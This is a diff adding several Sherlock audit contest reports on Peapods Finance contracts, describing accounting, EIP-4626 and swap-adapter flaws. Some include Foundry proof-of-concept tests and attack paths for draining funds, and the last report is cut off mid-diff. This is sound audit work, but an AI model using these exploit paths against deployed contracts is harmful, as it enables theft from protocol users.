@@ -0,0 +1,26 @@
+Brief Nylon Dachshund
+
+Medium
+
+# Incorrect Accounting of `_totalAssets` in `_processRewardsToPodLp()` Can Inflate Vault Value and Cause Over-Issuance of Shares
+
+The function [_processRewardsToPodLp()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L213-L231) is responsible for converting reward tokens into LP tokens and updating the vault’s total asset balance (`_totalAssets`). However, `_totalAssets` is updated before verifying the actual amount received from the LP conversion process, leading to a potential overstatement of assets in the vault.
+
+The [problematic code snippet](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L229-L230):
+
+```solidity
+_totalAssets += _lpAmtOut;
+require(_lpAmtOut >= _amountLpOutMin, "M");
+```
+ `_lpAmtOut` is assumed to be the final amount of LP tokens received, but this value may be incorrect due to slippage, fees, or failed swaps. If `_lpAmtOut` is zero or lower than expected, the vault’s total assets (`_totalAssets`) can be overestimated, making depositors believe the vault has more liquidity than it actually does. This can cause over-minting of shares, where depositors receive more shares than they should based on an inflated `_totalAssets` value. Later withdrawals may fail or be underpaid because `_totalAssets` was never truly backed by real liquidity.
+
+## Impact
+This bug inflates the vault’s asset balance, potentially leading to the over-issuance of shares, meaning that users can withdraw more than what is actually available, causing an eventual shortfall and fund losses.
+
+## Mitigation
+Update `_totalAssets` only after successfully verifying that `_lpAmtOut` is valid and meets expectations.
+
+```solidity
+require(_lpAmtOut >= _amountLpOutMin, "M");
+_totalAssets += _lpAmtOut; // @audit-ok Update only after validation
+```
\ No newline at end of file
diff --git a/357.md b/357.md
new file mode 100644
index 0000000..a4a44df
--- /dev/null
+++ b/357.md
@@ -0,0 +1,186 @@
+Magic Fuchsia Guppy
+
+High
+
+# `DecentralizedIndex.sol` with transfer fee and burn fee will have incorrect totalSupply upon `burn`
+
+### Summary
+
+The incorrect accounting in `DecentralizedIndex.sol::burn` can lead that the `totalSupply()` of the DecentralizedIndex to be less than the sum of balances. This will result in incorrect asset to share ratio as well as preventing the last shares to be debonded.
+
+
+### Root Cause
+
+The `DecentralizedIndex::burn` will decrease the `_totalSupply` by the `_amount` to be burned:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L321-L324
+
+Note that the `burn` function does not have the `noSwapOrFee` modifier.
+
+The internal `_burn` which is from the `ERC20Upgradeable` will call `_update(account, address(0), value);`. This `_update` function is the overriden function in `DecentralizedIndex`.
+Assuming the `burn` is not called by the `V2_POOL`, and with the condition that `hasTransferTax` is true, it might have non-zero `_fee`. Which will be given to `_processBurnFee`.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L174-L180
+
+If the `_burnAmt` is non-zero, the `_totalSupply` will be decreased by `_burnAmt`.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L221-L222
+
+However, this `_burnAmt` is already burned in the beginning of `burn` function, since the `_burnAmt` is actually inclued in the overall `_amount` to be burned.
+As the result this `_burnAmt` is going to be reduced twice from `_totalSupply`, but the balance is reduced only once because the `_fee` which includes `_burnAmt` is reduced from the `_amount`.
+
+
+```solidity
+// DecentralizedIndex::burn
+// The _amount includes `_burnAmt`
+ function burn(uint256 _amount) external lock {
+ _totalSupply -= _amount;
+ _burn(_msgSender(), _amount);
+ }
+
+// _burn will call DecentralizedIndex::_update
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+
+// DecentralizedIndex::_processBurnFee - this will again go to `_update
+ _totalSupply -= _burnAmt;
+ _burn(address(this), _burnAmt);
+```
+
+
+### Internal Pre-conditions
+
+- The `IDecentralizedIndex::Config`'s `hasTransferTax` is true.
+- The `IDecentralizedIndex::Fees`'s `burn` is non-zero.
+
+
+### External Pre-conditions
+
+- anybody calls `burn` with enough `_amount`
+
+
+### Attack Path
+
+As soon as enough `amount` is burned the `totalSupply` will be less than the sum of balances.
+
+If the attacker burn some portion while there are no other holders, and they will `debond` before other holders, effectively they are stealing from the last holders.
+
+### Impact
+
+Since the totalSupply is less than the sum of balance, each share will be over valued. As the result the last holders of the pTKN will fail to get their fair asset back.
+
+Also, this can open up other exploitation of price manipulation, since by burning to the totalSupply to be zero, the asset to share ratio will default. They can then get shares via `bond` for a cheaper price.
+
+
+
+### PoC
+
+The below PoC is based on `test_burn` of `test/WeightedIndex.t.sol`.
+This is to demonstrate the `totalSupply` of pod can be less than the sum of balances.
+
+As the setup, a new pod with transferTax and burn fee is deployed.
+The test contract gets the pTKN via `bond`, they are innocent bystander.
+
+The alice would `burn` enough amount to trigger the mis-accounting.
+
+The holders of pod at this point are:
+- address(this)
+- alice
+- pod itself (for the fee)
+
+At the end the totalSupply is less than the sum of the holders.
+
+The resulting logs of the PoC:
+```sh
+[PASS] test_burn_POC() (gas: 4469408)
+Logs:
+ totalSupply: 1993000000000000000
+ sum balances: 1993000000000000000
+ alice burns: 990000000000000000
+ totalSupply: 1002930695148660407
+ sum balances: 1003029702079145541
+```
+
+```solidity
+ function test_burn_POC() public {
+ /// SETUP
+ IDecentralizedIndex.Config memory _c;
+ // @audit: hasTransferTax true
+ _c.hasTransferTax = true;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = fee;
+ _f.debond = fee;
+ // @audit: burn fee non-zero
+ _f.burn = 7000;
+
+ address[] memory _t = new address[](1);
+ _t[0] = address(peas);
+ uint256[] memory _w = new uint256[](1);
+ _w[0] = 100;
+ address _pod = _createPod(
+ "Test",
+ "pTEST",
+ _c,
+ _f,
+ _t,
+ _w,
+ address(0),
+ false,
+ abi.encode(
+ dai,
+ address(peas),
+ 0x6B175474E89094C44Da98b954EedeAC495271d0F,
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
+ rewardsWhitelist,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ )
+ );
+ pod = WeightedIndex(payable(_pod));
+
+ vm.startPrank(alice);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(carol);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+ /// end SETUP
+
+ peas.approve(address(pod), type(uint256).max);
+ pod.bond(address(peas), bondAmt, 0);
+
+ vm.startPrank(alice);
+ pod.bond(address(peas), bondAmt, 0);
+ vm.stopPrank();
+
+ uint podTotalSupply = pod.totalSupply();
+ uint podBalThis = pod.balanceOf(address(this));
+ uint podBal = pod.balanceOf(alice);
+ uint podBalPod = pod.balanceOf(address(pod));
+ emit log_named_uint("totalSupply", podTotalSupply);
+ emit log_named_uint("sum balances", podBalThis + podBal + podBalPod);
+ require(podTotalSupply >= podBalThis + podBal + podBalPod);
+
+ emit log_named_uint("alice burns", podBal);
+ vm.startPrank(alice);
+ pod.burn(podBal);
+ vm.stopPrank();
+
+ podTotalSupply = pod.totalSupply();
+ podBalThis = pod.balanceOf(address(this));
+ podBal = pod.balanceOf(alice);
+ podBalPod = pod.balanceOf(address(pod));
+ emit log_named_uint("totalSupply", podTotalSupply);
+ emit log_named_uint("sum balances", podBalThis + podBal + podBalPod);
+ // @audit: total supply is less than the sum of balances
+ // the last person cannot debond due to revert from underflow
+ require(podTotalSupply < podBalThis + podBal + podBalPod);
+ }
+```
+
+
+### Mitigation
+
+consider putting the modifier `noSwapOrFee` to the `burn` function.
diff --git a/358.md b/358.md
new file mode 100644
index 0000000..9a3e2b7
--- /dev/null
+++ b/358.md
@@ -0,0 +1,120 @@
+Magic Fuchsia Guppy
+
+Medium
+
+# AutoCompoundingPodLp.sol does not comply with EIP-4626.
+
+### Summary
+
+The conversion between assets and shares in view functions will not account the rewards process. As the result preview function will return the price without the added rewards accounted. Specifically the `previewMint` and `previewDeposit` functions do not meet the specification of EIP4626. This may lead to difficulties in third party integration.
+
+
+### Root Cause
+
+Before `mint` and `deposit` the `AutoCompoundingPodLp` correctly process rewards. However, the preview of these functions fail to account these rewards upon calculating the needed or returning assets.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L144-L152
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L171-L181
+
+
+According to [EIP4626 standard](https://eips.ethereum.org/EIPS/eip-4626):
+
+> previewMint
+> MUST return as close to and no fewer than the exact amount of assets that would be deposited in a mint call in the same transaction. I.e. mint should return the same or fewer assets as previewMint if called in the same transaction.
+
+In the `mint` function, the `_processRewardsToPodLp` was called before `_convertToAssets`. After the `_processRewardsToPodLp`, the `_totalAsset` might increase, and therefore `_cbr` and `_convertToAssets` might subsequently increase. As the result, the `mint` might return more assets than `previewMint`.
+
+> previewDeposit
+> MUST return as close to and no more than the exact amount of Vault shares that would be minted in a deposit call in the same transaction. I.e. deposit should return the same or more shares as previewDeposit if called in the same transaction.
+
+In the `deposit` function, the `_processRewardsToPodLp` was called before `_convertToShares`. After the `_processRewardsToPodLp` , the `_totalAsset` and `_cbr` might increase, so the `_convertToShares` might then decrease. As the result, the `deposit` might return less assets than `previewDeposit`.
+
+
+
+
+### Internal Pre-conditions
+
+Rewards is added without `AutoCompoundingPodLp.processAllRewardsTokensToPodLp`
+
+
+### External Pre-conditions
+
+Third party integration expecting the preview functions meeting the EIP4626 specification.
+
+
+### Attack Path
+
+Anyone can send rewards to the `AutoCompouningPodLp` to force the `previewMint` and `previewDeposit` functions to deviate from the EIP-4626 specification.
+
+
+### Impact
+
+Third party integration may lead to malfunction of their protocol.
+
+For example, the `previewMint` function could be used to determine how much of asset should be approved. But since the `AutoCompouningPodLp.mint` pulls more than `previewMint` specifies, whoever relies on the `previewMint` for approval will fail to mint.
+
+Likewise, if the third party relies on the `previewDeposit` to check whether enough shares are minted, they might as well fail that check.
+
+
+
+### PoC
+
+The below example shows the possible usage of `previewMint` and `previewDeposit` for approval and checks.
+
+```solidity
+ function testProcessAllRewardsTokensToPodLp_POC() public {
+ // Mock the necessary functions and set up the test scenario
+ address[] memory rewardTokens = new address[](2);
+ rewardTokens[0] = address(rewardToken1);
+ rewardTokens[1] = address(rewardToken2);
+
+ mockTokenRewards.setProcessedRewardTokens(rewardTokens);
+
+ uint256 lpAmountOut = 50 * 1e18;
+ mockDexAdapter.setSwapV3SingleReturn(lpAmountOut);
+ deal(autoCompoundingPodLp.pod().PAIRED_LP_TOKEN(), address(autoCompoundingPodLp), lpAmountOut);
+ mockIndexUtils.setAddLPAndStakeReturn(lpAmountOut);
+
+ // Set initial totalAssets
+ uint256 initialTotalAssets = 1000 * 1e18;
+ deal(address(autoCompoundingPodLp.asset()), address(this), initialTotalAssets);
+ IERC20(autoCompoundingPodLp.asset()).approve(address(autoCompoundingPodLp), initialTotalAssets);
+ autoCompoundingPodLp.deposit(initialTotalAssets, address(this));
+
+ uint256 rewardAmount = 100 * 1e18;
+ rewardToken1.mint(address(autoCompoundingPodLp), rewardAmount);
+ rewardToken2.mint(address(autoCompoundingPodLp), rewardAmount);
+
+ // user
+ uint256 userAsset = 100 * 1e18;
+ deal(address(autoCompoundingPodLp.asset()), user, userAsset);
+ uint256 sharesToMint = 1e18;
+ uint prevMint = autoCompoundingPodLp.previewMint(sharesToMint);
+
+ vm.startPrank(user);
+ IERC20(autoCompoundingPodLp.asset()).approve(address(autoCompoundingPodLp), prevMint);
+ vm.expectRevert(abi.encodeWithSelector(IERC20Errors.ERC20InsufficientAllowance.selector, address(autoCompoundingPodLp), prevMint, 1.1e18));
+ autoCompoundingPodLp.mint(sharesToMint, user);
+ vm.stopPrank();
+
+ // Another rewards
+ rewardToken1.mint(address(autoCompoundingPodLp), rewardAmount);
+ rewardToken2.mint(address(autoCompoundingPodLp), rewardAmount);
+
+ deal(address(autoCompoundingPodLp.asset()), address(this), 1e18);
+ uint sharesExpected = autoCompoundingPodLp.previewDeposit(1e18);
+ IERC20(autoCompoundingPodLp.asset()).approve(address(autoCompoundingPodLp), 1e18);
+ uint sharesBefore = IERC20(autoCompoundingPodLp).balanceOf(address(this));
+ autoCompoundingPodLp.deposit(1e18, address(this));
+ uint sharesAfter = IERC20(autoCompoundingPodLp).balanceOf(address(this));
+ // the actual shares from deposit should bigger than expected
+ // but this is violated
+ require(sharesAfter - sharesBefore < sharesExpected);
+ }
+```
+
+
+
+### Mitigation
+
+Consider using preview processRewards function like `LendingAssetVault` does.
diff --git a/359.md b/359.md
new file mode 100644
index 0000000..1bc79aa
--- /dev/null
+++ b/359.md
@@ -0,0 +1,56 @@
+Rare Flaxen Nightingale
+
+Medium
+
+# Improper handling of totalAssets when LendingAssetVault::redeemFromVault is called
+
+### Summary
+
+When LAV.redeemFromVault() is called, it triggers FraxlendPair.redeem(), which returns the assets received from the vault.
+
+These assets are subtracted from the vaultUtilization (a variable tracking the assets utilized in the vault).
+
+The current system correctly updates the vault utilization parameters due to the issue highlighted in M-22 of the guardian audit
+
+
+
+However, the system fails to account for excess assets (e.g., due to dust accrual or direct share transfer donations) in the totalAssets variable. This locks the excess value in the LAV contract permanently.
+
+
+
+### Root Cause
+
+The totalAssets variable is not updated to include the excess tokens received during the redemption process. This discrepancy occurs because the system only subtracts the redeemed assets from vaultUtilization but does not add the excess to totalAssets.
+
+### Internal Pre-conditions
+
+The totalAssetsUtilized for the vault does not match the actual asset value of the shares owned by the LAV in the vault.
+
+
+### External Pre-conditions
+Party donates shares to the vault by transfer
+
+
+### Attack Path
+
+The owner calls redeemFromVault with the entire vault share balance of the LAV.
+
+All assets belonging to the LAV are sent to the vault.
+
+The excess assets (due to dust accrual or donations) are not added to totalAssets, leaving them permanently locked in the contract.
+
+### Impact
+
+permanent loss of excess assets that could otherwise be utilized by the contract or its users.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+To fix the issue, the following line of code should be added to the redeemFromVault function, just after redeemAmt is calculated but before vaultUtilization is updated:
+
+```solidity
+totalAssets += amountAssets > vaultUtilization[_vault] ? amountAssets - vaultUtilization[_vault] : 0;
+```
\ No newline at end of file
diff --git a/360.md b/360.md
new file mode 100644
index 0000000..fb2ac95
--- /dev/null
+++ b/360.md
@@ -0,0 +1,87 @@
+Striped Champagne Pig
+
+High
+
+# Wrong logic in `UniswapDexAdapter::swapV2Single` could grief the protocol through loss of funds
+
+## Impact
+### Summary
+The `UniswapDexAdapter::swapV2Single` function allows a user to swap some amounts of one token, say `tokenIn` in exchange for some amounts of another token, say `tokenOut`. However, a user can get some amounts of `tokenOut` without sending any amounts of `tokenIn` to the protocol. This results in a loss of funds for the protocol.
+
+### Vulnerability Details
+The vulnerability lies in the fact that if a user specifies a value greater than zero for `tokenIn`, the said amount is transfered from the user to the protocol. However, when a user specifies zero as the amount of `tokenIn`, no amount of `tokenIn` is transfered from the user to the protocol whereas `tokenOut` is transfered to the user.
+
+This vulnerability can be seen [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/UniswapDexAdapter.sol#L61-L82) or by taking a look at the code snippet below.
+
+```javascript
+ function swapV2Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient
+ ) external virtual override returns (uint256 _amountOut) {
+ uint256 _outBefore = IERC20(_tokenOut).balanceOf(_recipient);
+ if (_amountIn == 0) {
+70: _amountIn = IERC20(_tokenIn).balanceOf(address(this));
+ } else {
+72: IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn); // @audit-note this only executes if _amountIn specified by user is not zero
+ }
+ address[] memory _path = new address[](2);
+ _path[0] = _tokenIn;
+ _path[1] = _tokenOut;
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountIn);
+ IUniswapV2Router02(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ _amountIn, _amountOutMin, _path, _recipient, block.timestamp
+ );
+ return IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+ }
+```
+
+
+### Impact
+A malicious user can drain the protocol of funds by specifying `_amountIn = 0` in the `UniswapDexAdapter::swapV2Single` function. From the computation on line 70 in the code snippet above, the protocol assumes the user has deposited `_tokenIn.balanceOf(address(this))`, calculates the equivalent amount of `_tokenOut` and sends to the user.
+
+## Proof of Concept
+
+1. `userA` calls the `UniswapDexAdapter::swapV2Single` function while specifying `_amountIn` as `0`
+2. `userA` gets some amount of `_tokenOut` corresponding to all the amount of `_tokenIn` in the protocol without sending any amount of `_tokenIn` into the protocol.
+
+
+## Tools Used
+
+Manual Review
+
+
+## Recommended Mitigation Steps
+Recommendation is to carry out the below two steps:
+1. Remove the `else` statement so that line 72 in the code snippet above executes irrespective of the value passed in by the user for `_amountIn`.
+2. modify line 70 in the code snippet above to `_amountIn = IERC20(_tokenIn).balanceOf(_msgSender());` to avoid reverts on line 72 when the user balance is less than the protocol balance. (This recommendation assumes that the protocol implies that a value of `_amountIn = 0` means the user intends to swap all the `_tokenIn` in their balance)
+
+```diff
+ function swapV2Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient
+ ) external virtual override returns (uint256 _amountOut) {
+ uint256 _outBefore = IERC20(_tokenOut).balanceOf(_recipient);
+ if (_amountIn == 0) {
+- _amountIn = IERC20(_tokenIn).balanceOf(address(this));
++ _amountIn = IERC20(_tokenIn).balanceOf(_msgSender());
++ }
+- } else {
+- IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+- }
++ IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+ address[] memory _path = new address[](2);
+ _path[0] = _tokenIn;
+ _path[1] = _tokenOut;
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountIn);
+ IUniswapV2Router02(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ _amountIn, _amountOutMin, _path, _recipient, block.timestamp
+ );
+ return IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+ }
+```
\ No newline at end of file
diff --git a/361.md b/361.md
new file mode 100644
index 0000000..297cfec
--- /dev/null
+++ b/361.md
@@ -0,0 +1,95 @@
+Striped Champagne Pig
+
+High
+
+# Wrong logic in `UniswapDexAdapter::swapV2SingleExactOut` allows a user to drain the protocol of funds
+
+## Impact
+### Summary
+The `UniswapDexAdapter::swapV2SingleExactOut` function allows a user to swap some amounts of one token, say `tokenIn` in exchange for some amounts of another token, say `tokenOut`. However, a user can get some amounts of `tokenOut` without sending any amounts of `tokenIn` to the protocol. This results in a loss of funds for the protocol.
+
+### Vulnerability Details
+The vulnerability lies in the fact that if a user specifies a value greater than zero for `tokenIn`, the said amount is transfered from the user to the protocol. However, when a user specifies zero as the amount of `tokenIn`, no amount of `tokenIn` is transfered from the user to the protocol whereas `tokenOut` is transfered to the user.
+
+This vulnerability can be seen [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/UniswapDexAdapter.sol#L84-L109) or by taking a look at the code snippet below.
+
+```javascript
+ function swapV2SingleExactOut(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountInMax,
+ uint256 _amountOut,
+ address _recipient
+ ) external virtual override returns (uint256 _amountInUsed) {
+ uint256 _inBefore = IERC20(_tokenIn).balanceOf(address(this));
+ if (_amountInMax == 0) {
+93: _amountInMax = IERC20(_tokenIn).balanceOf(address(this));
+ } else {
+95: IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountInMax);
+ }
+ address[] memory _path = new address[](2);
+ _path[0] = _tokenIn;
+ _path[1] = _tokenOut;
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountInMax);
+ IUniswapV2Router02(V2_ROUTER).swapTokensForExactTokens(
+ _amountOut, _amountInMax, _path, _recipient, block.timestamp
+ );
+ uint256 _inRemaining = IERC20(_tokenIn).balanceOf(address(this)) - _inBefore;
+ if (_inRemaining > 0) {
+ IERC20(_tokenIn).safeTransfer(_msgSender(), _inRemaining);
+ }
+ _amountInUsed = _amountInMax - _inRemaining;
+ }
+```
+
+
+### Impact
+A malicious user can drain the protocol of funds by specifying `_amountInMax = 0` in the `UniswapDexAdapter::swapV2SingleExactOut` function. From the computation on line 93 in the code snippet above, the protocol assumes the user has deposited `_tokenIn.balanceOf(address(this))`, calculates the equivalent amount of `_tokenOut` and sends to the user.
+
+## Proof of Concept
+
+1. `userA` calls the `UniswapDexAdapter::swapV2SingleExactOut` function while specifying `_amountInMax` as `0`
+2. `userA` gets some amount of `_tokenOut` corresponding to all the amount of `_tokenIn` in the protocol without sending any amount of `_tokenIn` into the protocol.
+
+
+## Tools Used
+
+Manual Review
+
+
+## Recommended Mitigation Steps
+Recommendation is to carry out the below two steps:
+1. Remove the `else` statement so that line 95 in the code snippet above executes irrespective of the value passed in by the user for `_amountInMax`.
+2. modify line 93 in the code snippet above to `_amountInMax = IERC20(_tokenIn).balanceOf(_msgSender());` to avoid reverts on line 72 when the user balance is less than the protocol balance. (This recommendation assumes that the protocol implies that a value of `_amountInMax = 0` means the user intends to swap all the `_tokenIn` in their balance)
+
+```diff
+ function swapV2SingleExactOut(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountInMax,
+ uint256 _amountOut,
+ address _recipient
+ ) external virtual override returns (uint256 _amountInUsed) {
+ uint256 _inBefore = IERC20(_tokenIn).balanceOf(address(this));
+ if (_amountInMax == 0) {
+- _amountInMax = IERC20(_tokenIn).balanceOf(address(this));
++ _amountInMax = IERC20(_tokenIn).balanceOf(_msgSender());
++ }
+- } else {
+- IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountInMax);
+- }
++ IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountInMax);
+ address[] memory _path = new address[](2);
+ _path[0] = _tokenIn;
+ _path[1] = _tokenOut;
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountInMax);
+ IUniswapV2Router02(V2_ROUTER).swapTokensForExactTokens(
+ _amountOut, _amountInMax, _path, _recipient, block.timestamp
+ );
+ uint256 _inRemaining = IERC20(_tokenIn).balanceOf(address(this)) - _inBefore;
+ if (_inRemaining > 0) {
+ IERC20(_tokenIn).safeTransfer(_msgSender(), _inRemaining);
+ }
+ _amountInUsed = _amountInMax - _inRemaining;
+ }
+```
\ No newline at end of file
diff --git a/362.md b/362.md
new file mode 100644
index 0000000..d76aab2
--- /dev/null
+++ b/362.md
@@ -0,0 +1,99 @@
+Bouncy Rainbow Poodle
+
+High
+
+# Attacker can drain PodUnwrapLocker contract
+
+### Summary
+
+The missing check in `PodUnwrapLocker.sol` for a redundant token address will lead to drain the contract fund.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L60
+
+### Root Cause
+
+* The `debondAndLock` function in `PodUnwrapLocker` allows users to arbitrarily specify the `_pod` parameter. An attacker could exploit this using malicious contract by submitting a manipulated token list via `_podContract.getAllAssets()` containing repeated addresses, enabling them to drain previously locked funds from other users with a single sufficient deposit.
+```solidity
+ function debondAndLock(address _pod, uint256 _amount) external nonReentrant {
+ require(_amount > 0, "D1");
+ require(_pod != address(0), "D2");
+
+ IERC20(_pod).safeTransferFrom(_msgSender(), address(this), _amount);
+
+ IDecentralizedIndex _podContract = IDecentralizedIndex(_pod);
+ IDecentralizedIndex.IndexAssetInfo[] memory _podTokens = _podContract.getAllAssets();
+ address[] memory _tokens = new address[](_podTokens.length);
+ uint256[] memory _balancesBefore = new uint256[](_tokens.length);
+
+ // Get token addresses and balances before debonding
+ for (uint256 i = 0; i < _tokens.length; i++) {
+ _tokens[i] = _podTokens[i].token;
+ _balancesBefore[i] = IERC20(_tokens[i]).balanceOf(address(this)); <@ audit
+ }
+ _podContract.debond(_amount, new address[](0), new uint8[](0)); <@
+
+ uint256[] memory _receivedAmounts = new uint256[](_tokens.length);
+ for (uint256 i = 0; i < _tokens.length; i++) {
+ _receivedAmounts[i] = IERC20(_tokens[i]).balanceOf(address(this)) - _balancesBefore[i]; <@ audit
+ }
+
+ IDecentralizedIndex.Config memory _podConfig = _podContract.config();
+ uint256 _lockId = currentLockId++;
+ locks[_lockId] = LockInfo({
+ user: _msgSender(),
+ pod: _pod,
+ tokens: _tokens,
+ amounts: _receivedAmounts,
+ unlockTime: block.timestamp + _podConfig.debondCooldown,
+ withdrawn: false
+ });
+
+ emit LockCreated(
+ _lockId, _msgSender(), _pod, _tokens, _receivedAmounts, block.timestamp + _podConfig.debondCooldown
+ );
+ }
+```
+* As we can see when the period end in `withdraw`, the function start to iterate over the list of token previously provided and send `_lock.amounts[i]` to the user.
+```solidity
+ function _withdraw(address _user, uint256 _lockId) internal {
+ LockInfo storage _lock = locks[_lockId];
+ require(_lock.user == _user, "W1");
+ require(!_lock.withdrawn, "W2");
+ require(block.timestamp >= _lock.unlockTime, "W3");
+
+ _lock.withdrawn = true;
+
+ for (uint256 i = 0; i < _lock.tokens.length; i++) {
+ if (_lock.amounts[i] > 0) {
+ IERC20(_lock.tokens[i]).safeTransfer(_user, _lock.amounts[i]);
+ }
+ }
+
+ emit TokensWithdrawn(_lockId, _user, _lock.tokens, _lock.amounts);
+ }
+```
+
+### Internal Pre-conditions
+
+There are no Pre-conditions to comply with, the only requirement is that the contract must have funds.
+
+### External Pre-conditions
+
+The attacker should deposit an amount of the same tokens previously locked by other users.
+
+### Attack Path
+
+1. Attacker create a malicious `pod` contract follow the same standard.
+2. Attacker lock a specific amount with `_podConfig.debondCooldown = 0`.
+3. Attacker now is able to withdraw all the funds in the contract.
+
+### Impact
+
+This issue will lead to losing all the funds in the protocol.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+I think you should make sure that there is no redundant item in the list.
\ No newline at end of file
diff --git a/363.md b/363.md
new file mode 100644
index 0000000..85f224b
--- /dev/null
+++ b/363.md
@@ -0,0 +1,99 @@
+Striped Champagne Pig
+
+High
+
+# Wrong logic in `UniswapDexAdapter::swapV3Single` could grief the protocol through loss of funds
+
+## Impact
+### Summary
+The `UniswapDexAdapter::swapV3Single` function allows a user to swap some amounts of one token, say `tokenIn` in exchange for some amounts of another token, say `tokenOut`. However, a user can get some amounts of `tokenOut` without sending any amounts of `tokenIn` to the protocol. This results in a loss of funds for the protocol.
+
+### Vulnerability Details
+The vulnerability lies in the fact that if a user specifies a value greater than zero for `tokenIn`, the said amount is transfered from the user to the protocol. However, when a user specifies zero as the amount of `tokenIn`, no amount of `tokenIn` is transfered from the user to the protocol whereas `tokenOut` is transfered to the user.
+
+This vulnerability can be seen [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/UniswapDexAdapter.sol#L111-L138) or by taking a look at the code snippet below.
+
+```javascript
+ function swapV3Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint24 _fee,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient
+ ) external virtual override returns (uint256 _amountOut) {
+ uint256 _outBefore = IERC20(_tokenOut).balanceOf(_recipient);
+ if (_amountIn == 0) {
+121: _amountIn = IERC20(_tokenIn).balanceOf(address(this));
+ } else {
+123: IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn); // @audit-note this only executes if _amountIn is not zero
+ }
+ IERC20(_tokenIn).safeIncreaseAllowance(V3_ROUTER, _amountIn);
+ ISwapRouter02(V3_ROUTER).exactInputSingle(
+ ISwapRouter02.ExactInputSingleParams({
+ tokenIn: _tokenIn,
+ tokenOut: _tokenOut,
+ fee: _fee,
+ recipient: _recipient,
+ amountIn: _amountIn,
+ amountOutMinimum: _amountOutMin,
+ sqrtPriceLimitX96: 0
+ })
+ );
+ return IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+ }
+```
+
+
+### Impact
+A malicious user can drain the protocol of funds by specifying `_amountIn = 0` in the `UniswapDexAdapter::swapV2Single` function. From the computation on line 121 in the code snippet above, the protocol assumes the user has deposited `_tokenIn.balanceOf(address(this))`, calculates the equivalent amount of `_tokenOut` and sends to the user.
+
+## Proof of Concept
+
+1. `userA` calls the `UniswapDexAdapter::swapV3Single` function while specifying `_amountIn` as `0`
+2. `userA` gets some amount of `_tokenOut` corresponding to all the amount of `_tokenIn` in the protocol without sending any amount of `_tokenIn` into the protocol.
+
+
+## Tools Used
+
+Manual Review
+
+
+## Recommended Mitigation Steps
+Recommendation is to carry out the below two steps:
+1. Remove the `else` statement so that line 123 in the code snippet above executes irrespective of the value passed in by the user for `_amountIn`.
+2. modify line 121 in the code snippet above to `_amountIn = IERC20(_tokenIn).balanceOf(_msgSender());` to avoid reverts on line 123 when the user balance is less than the protocol balance. (This recommendation assumes that the protocol implies that a value of `_amountIn = 0` means the user intends to swap all the `_tokenIn` in their balance)
+
+```diff
+ function swapV3Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint24 _fee,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient
+ ) external virtual override returns (uint256 _amountOut) {
+ uint256 _outBefore = IERC20(_tokenOut).balanceOf(_recipient);
+ if (_amountIn == 0) {
+- _amountIn = IERC20(_tokenIn).balanceOf(address(this));
++ _amountIn = IERC20(_tokenIn).balanceOf(_msgSender());
++ }
+- } else {
+- IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+- }
++ IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+ IERC20(_tokenIn).safeIncreaseAllowance(V3_ROUTER, _amountIn);
